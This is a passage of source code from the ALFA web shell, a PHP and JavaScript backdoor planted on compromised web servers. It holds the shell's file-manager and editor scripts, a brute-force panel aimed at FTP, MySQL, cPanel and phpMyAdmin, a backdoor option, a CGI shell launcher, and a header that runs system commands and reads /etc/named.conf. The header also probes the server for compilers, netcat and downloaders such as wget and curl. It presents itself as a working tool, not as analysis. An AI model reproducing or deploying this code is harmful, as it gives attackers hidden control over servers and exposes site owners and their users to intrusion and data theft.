e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php echo __ALFA_SECRET_KEY__; ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
  1079. </script>
  1080. <?php echo"<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>
  1081. <input type='hidden' name='a' value='dlfile'>
  1082. <input type='hidden' name='c' value=''>
  1083. <input type='hidden' name='file' value=''>
  1084. </form>
  1085. <input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>
  1086. <div id='a_loader'><img src='".__showicon('loader')."'></div>";
  1087. $cmd_uname = alfaEx("uname -a",false,false);
  1088. $uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');
  1089. if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}
  1090. echo '
  1091. </head>
  1092. <body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
  1093. <div id="up_bar_holder"></div>
  1094. <div class="whole">
  1095. <form method="post" name="mf" style="display:none;">
  1096. <input type="hidden" name="a">
  1097. <input type="hidden" name="c" value="'.$GLOBALS['cwd'].'">';
  1098. for($s=1;$s<=10;$s++){
  1099. echo '<input type="hidden" name="alfa'.$s.'">';
  1100. }
  1101. echo '<input type="hidden" name="charset">
  1102. </form>
  1103. <div id=\'hidden_sh\'><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">'.__ALFA_CODE_NAME__.'</span><br><small>Version: <span class="hidden_shell_version">'.__ALFA_VERSION__.'</span></small></a></div>
  1104. <div class="header"><table width="100%" border="0">
  1105. <tr>
  1106. <td width="3%"><span class="header_vars">Uname:</span></td>
  1107. <td colspan="2"><span class="header_values" id="header_uname">'.$uname.'</span></td>
  1108. </tr>
  1109. <tr>
  1110. <td><span class="header_vars">User:</span></td>
  1111. <td><span class="header_values" id="header_userid">'. $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
  1112. <td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>
  1113. </tr>
  1114. <tr>
  1115. <td><span class="header_vars">PHP:</span></td>
  1116. <td><b>'.@phpversion(). ' </b><span class="header_vars"> Safe Mode: '.$safe_modes.'</span></td>
  1117. </tr>
  1118. <tr>
  1119. <td><span class="header_vars">ServerIP:</span></td>
  1120. <td><b>'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]).'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> '.@$_SERVER["REMOTE_ADDR"].'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
  1121. </tr>
  1122. <tr>
  1123. <td width="3%"><span class="header_vars">DateTime:</span></td>
  1124. <td colspan="2"><b>'.date('Y-m-d H:i:s').'</b></td>
  1125. </tr>
  1126. <tr>
  1127. <td><span class="header_vars">Domains:</span></td>
  1128. <td width="76%"><span class="header_values" id="header_domains">';
  1129. if($GLOBALS['sys']=='unix'){
  1130. $d0mains = _alfa_file("/etc/named.conf",false);
  1131. if(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{
  1132. $count=0;
  1133. foreach($d0mains as $d0main){
  1134. if(@strstr($d0main,"zone")){
  1135. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1136. flush();
  1137. if(strlen(trim($domains[1][0])) > 2){
  1138. flush();
  1139. $count++;}}}
  1140. echo "$count Domains";}}
  1141. else{echo("Cant Read [ /etc/named.conf ]");}
  1142. echo '</span></td>
  1143. </tr>
  1144. <tr>
  1145. <td height="16"><span class="header_vars">HDD:</span></td>
  1146. <td><span class="header_vars">Total:</span><b>'.alfaSize($totalSpace).' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</b></td>
  1147. </tr>';
  1148. if($GLOBALS['sys']=='unix'){
  1149. $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
  1150. if(!@ini_get('safe_mode')){
  1151. if(strlen(alfaEx("id",false,false))>0){
  1152. echo '<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>';
  1153. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');
  1154. $x=0;
  1155. foreach($userful as $item)if(alfaWhich($item)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item.'</span>';}
  1156. if($x==0){echo "<span class='header_values' id='header_useful'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
  1157. echo '</td>
  1158. </tr>
  1159. <tr>
  1160. <td height="0" colspan="2"><span class="header_vars">Downloader: </span>';
  1161. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  1162. $x=0;
  1163. foreach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item2.'</span>';}
  1164. if($x==0){echo "<span class='header_values' id='header_downloader'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
  1165. echo '</td>
  1166. </tr>';
  1167. }else{
  1168. echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
  1169. }
  1170. }else{
  1171. echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
  1172. }
  1173. }else{
  1174. echo '<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>';
  1175. echo alfaEx('ver',false,false);
  1176. echo '</td>
  1177. </tr> <tr>
  1178. <td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>
  1179. </tr></b>';
  1180. }
  1181. $quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == "1" or $quotes == "on"){$magic = '<b><span class="header_on">ON</span>';}else{$magic = '<span class="header_off">OFF</span>';}
  1182. echo '<tr>
  1183. <td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>'.Alfa_GetDisable_Function().'</b></td>
  1184. </tr>
  1185. <tr>
  1186. <td height="16" colspan="2"><span class="header_vars">CURL :</span>'.$curl.' | <span class="header_vars">SSH2 : </span>'.$ssh2.' | <span class="header_vars">Magic Quotes : </span>'.$magic.' | <span class="header_vars"> MySQL :</span>'.$mysql.' | <span class="header_vars">MSSQL :</span>'.$mssql.' | <span class="header_vars"> PostgreSQL :</span>'.$pg.' | <span class="header_vars"> Oracle :</span>'.$or.' '.($GLOBALS['sys']=="unix"?'| <span class="header_vars"> CGI :</span> '.$cgi_shell:"").'</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
  1187. </tr>
  1188. <tr>
  1189. <td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>'.$open_b.'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>'.$safe_exe.'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>'.$safe_include.'</b></td>
  1190. </tr>
  1191. <tr>
  1192. <td height="11"><span class="header_vars">SoftWare: </span></td>
  1193. <td colspan="2"><b>'.@getenv('SERVER_SOFTWARE').'</b></td>
  1194. </tr>';
  1195. if($GLOBALS['sys']=="win"){
  1196. echo '<tr>
  1197. <td height="12"><span class="header_vars">DRIVE:</span></td>
  1198. <td colspan="2"><b>'.$drives.'</b></td>
  1199. </tr>';
  1200. }
  1201. echo '<tr>
  1202. <td height="12"><span class="header_vars">PWD:</span></td>
